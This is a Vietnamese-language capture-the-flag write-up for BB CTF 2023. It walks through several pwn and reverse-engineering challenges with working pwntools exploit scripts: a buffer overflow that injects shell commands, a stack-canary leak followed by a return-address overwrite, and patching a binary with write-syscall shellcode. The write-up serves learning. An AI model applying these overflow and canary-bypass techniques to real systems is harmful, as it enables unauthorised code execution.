BB CTF 2023

BB CTF 2023


Nguồn ở đây nhá các bạn: 💀👆👆👆💀

Xin chào mọi người, lại là mình đây, thật bất ngờ khi nghe được tin đây là giải dành cho người mới và trung trung, ấy vậy mà tôi lại không giải được một bài nào của mảng tôi mới đau, chỉ giải được một bài thuộc 1 mảng song hành là pwn.

Vâng đúng là đôi khi phải luôn kiếm cho mình nhiều điều mới…

Vâng dù không đến giai đoạn là nhận flag và gửi nhưng mấy bài dưới đây là tôi đã dành thời gian phân tích code, mà cũng có bài giải gần xong rồi mà k fix lại là đươc..

Sau hôm nay tôi sẽ thành người chơi cả PWN và RE luôn))

1: Easy pwn

title

Xin chào các bạn đây là giải đầu tiên có thêm pwn nhé, cũng tập tành làm các kiểu: Đầu tiên vẫn check, check và check. Nhưng pwn thì ta sẽ check xem file có bị dính một số lỗi thường gặp không như sau:

check

Mở IDA:

main

và bên stack:

stack

Nhận thấy hàm read giá trị biến buf tận 18 bytes nhưng ở stack thì chứa 8 bytes là đến biến command thế nên chắc chắn sẽ ghi đè lên giá trị của command. Thế nên tôi chạy như sau nhập như sau: AAAAAAAApwd thì nhận được kết quả. Lúc chơi thì tôi không nhớ hay không biết nên cứ mò hay tìm ra những câu lệnh như ls, less, head, tail, strings,... Hay các options của ls thì phát hiện flag nó nằm trong thư viện ẩn -> sau đó file flag.txt trong thư mục ẩn nên tôi sử dụng câu lệnh: cat .[^.]*/* là đọc được file flag. Ôi thật tệ khi tôi đã mất nhiều giờ vào nó.

Có câu lệnh nhanh và ngon hơn mà tôi quên là sh. khi nhập AAAAAAAAsh thì ta nhận được quyền sh sử dụng các câu lệnh bình thường để đọc file… Còn trên kia là nó giới hạn kích thước nhập vào là có 18 bytes nên cần tìm hiểu câu lệnh ngắn mà vẫn chạy đúng.

from pwn import *

r = remote("pwn.bbctf.fluxus.co.in", 4001)
lst = ['cat .[^.]*/*.txt', 'cat .[^.]*/*','cat .[^.]*/flag*']

payload = b'no\nAAAAA' + b'cat .[^.]*/*'
r.sendline(payload)
r.interactive() 

Và nhận được:

result

2: Medium pwn

Tiếp là là bài mà khiến tôi cả đêm không ngủ cả đêm)))).

title

Nhiệm vụ này thì cũng là lỗi overflow ghi đè đến giá trị nào để sử dụng nó nhằm mục đích chạy các khác thay vì chạy chương trình mặc định.

Hàm main:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  puts("Hi! I am the Stack Oracle.\n");
  while ( 1 )
    gimme_pointer();
}

Vòng lặp True nếu mà chương trình không gặp bất kỳ lỗi nào trong khi thực thi hàm gimme_pointer() thì chạy mãi mãi:))

unsigned __int64 gimme_pointer()
{
  const void *v1; // [rsp+8h] [rbp-28h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u); //????
  printf("You are here: %p\n Give me an address and I will grant you 8 add_geted bytes:\n", buf);
  read(0, buf, 0x40uLL); //???
  hex_string_to_byte_array(buf, &v1, 16LL); // 
  printf("Here are the contents of %p:\n", v1);
  print_buf(v1, 8LL);
  return __readfsqword(0x28u) ^ v3;
}

Ta đi lần lượt vào hàm nhé:

__int64 __fastcall hex_string_to_byte_array(__int64 a1, __int64 a2, int a3)
{
  __int64 result; // rax
  int v5; // [rsp+28h] [rbp-8h]
  unsigned int i; // [rsp+2Ch] [rbp-4h]

  v5 = 0;
  for ( i = 0; ; i += 2 )
  {
    result = i;
    if ( (int)i >= a3 )
      break;
    __isoc99_sscanf((int)i + a1, "%2hhx", a2 + v5++);
  }
  return result;
}

Nhìn thì ta biết hàm chuyển 8 byte (16 ký tự char nhá) đầu của đầu vào gán vào v1 làm địa chỉ. Rồi in nó ra màn hình cho mình.

int __fastcall print_buf(__int64 a1, int a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2; ++i )
    printf("%02X", *(unsigned __int8 *)(i + a1));
  return puts("\n");
}

Rồi hàm này thì in ra giá trị của địa chỉ v1 của nó trên stack ra màn hình. Ủa ủa rồi flag ở đâu??? Hay thì làm gì bây giờ nhỉ hí hí🥲🥲 Đi kiểm tra qua các hàm của chương trình thì thấy có hàm nè:

unsigned __int64 this_function_literally_prints_the_flag()
{
  int fd; // [rsp+Ch] [rbp-54h]
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("flag.txt", 0);
  read(fd, buf, 0x40uLL);
  puts(buf);
  close(fd);
  return __readfsqword(0x28u) ^ v3;
}

Rồi ý tưởng đã có là ta đã ghi đè lên địa chỉ return về địa chỉ của hàm đọc file flag.txt:

  1. Tìm khoảng cách giữa địa chỉ hàm main so với địa chỉ this_function_literally_prints_the_flag.
  2. Kiểm tra cấu tạo stack ở hàm gimme_pointer để từ đó input đúng vị trí chèn địa chỉ đó.

Stack gimme_pointer khi được phân tích ta nhận được: - read bufer (32 bytes) - nơi lưu trữ những gì mình nhập vào và có thể đè lên các giá trị như stack canary và rbp point. - stack canary (8 bytes) - rbp point (8 bytes) - return address (8 bytes) - đây là địa chỉ sau khi chạy xong chương trình gimme_pointer thì sẽ nhảy về đó.

Dưới đây là code giải chương trình tham khảo học hỏi từ các cao nhân:


from pwn import *

r = remote('pwn.bbctf.fluxus.co.in', 4002)

r.readline()
r.readline()
add_get = int(r.readline().split()[-1], 16)
cookie_add = add_get + 0x18 #vị trí ở stack chứa giá trị coockie của mỗi lần chạy nhằm tránh lỗi canary
r.readline()

cookie_add = hex(int.from_bytes((cookie_add).to_bytes(8, 'little'), byteorder='big'))[2:]

r.sendline(cookie_add.encode())

r.recv().split()
cookie = r.recv().split()[0]

cookie = int.from_bytes((int(cookie, 16)).to_bytes(8,'big'), 'little')

print(f'Cookies: {hex(cookie)}')

base_add = add_get + 0x28 # địa chỉ stack chứa giá trị rbp

base_add = hex(int.from_bytes((base_add).to_bytes(8, 'little'), byteorder='big'))[2:]

r.sendline(base_add.encode())

r.recv().split()
base = r.recv().split()[0]

base = int.from_bytes((int(base, 16)).to_bytes(8,'big'), 'little') - 0xa21

print(f'Base: {hex(base)}')

cookie = int.from_bytes((cookie).to_bytes(8, 'little'), byteorder='little')
base = int.from_bytes((base).to_bytes(8, 'little'), byteorder='little')


w = cookie_add.encode() + b'A' * 8 + p64(cookie) + p64(base+0x8f7) * 4 

r.sendline(w)

sleep(3)

print(r.recv().split()[7])

:)) Xong rồi đấy.

Một số lưu ý thì thường khi gửi địa chỉ lên thì sẽ ở định dạng big endian nhé.

3: ez-pz-xor

title

Đối với bài này thì chúng ta bị tác giả lừa, khi bài này chạy và hiển thị debug vào flow cho ra kết quả nhưng không đúng. Vấn đề của chúng ta là tìm hiểu đúng sử dụng hàm nào đúng.

Kiểm tra thì ta phát hiện ra hàm nghi vấn _do_global_dtors_aux().

Và đây là một số câu lệnh hữu ích:

  • Chuyển string to hex (int):
strings = ''
x = int(bytes.hex(strings.encode()),16)
# x = int(bytes.hex(b'hello'),16)

Và hex to string

strings = bytes.fromhex(hex(x)[2:])

Tạo file mới có sửa đổi nhé:

with open('./ez-pz xor', 'rb') as f:
    l = f.read()

l = list(l)

f.close()

# thay bằng hàm write()
"""
mov r8, rdi
mov rax, 1
mov rdi, 1
mov rsi, r8
mov rdx, 8
syscall

x = [0x49, 0x89, 0xf8, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xc6, 0x48, 0xc7, 0xc2, 0x08, 0x00, 0x00, 0x00, 0x0f,0x05]
"""

x = [0x49, 0x89, 0xf8, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xc6, 0x48, 0xc7, 0xc2, 0x08, 0x00, 0x00, 0x00, 0x0f,0x05]

x = list(x)

for i in range(len(x)):
    l[0x1385+i] = x[i]

with open('./ez_injection', 'wb') as f:
    f.write(bytes(l))

Chạy file mới đấy ta nhận được string nguồn đó. BBBBBBBB nhận được giá trị bFbFbFbF. ta nhận được kết quả rồi sẽ làm xor lấy key rồi xor với password để ra:

x = int(bytes.hex(b'BBBBBBBB'),16)
y = int(bytes.hex(b'bFbFbFbF'),16)
z = int(bytes.hex(b'password'),16)

a = int(hex(x^y),16)
print(bytes.fromhex(hex(a^z)[2:]))

ta nhận được b'PeSwWkR' -> gửi lên là ra flag…..

4: More Control

title

Đối với nhiệm vụ này ta nhận được 1 file chương trình và 1 file dữ liệu dạng bin. Đại lại lấy chương trình này để load dữ liệu của file dữ liệu bin làm data của ct.

(Bài này tôi sẽ nghiên cứu sau:)

results matching ""

    No results matching ""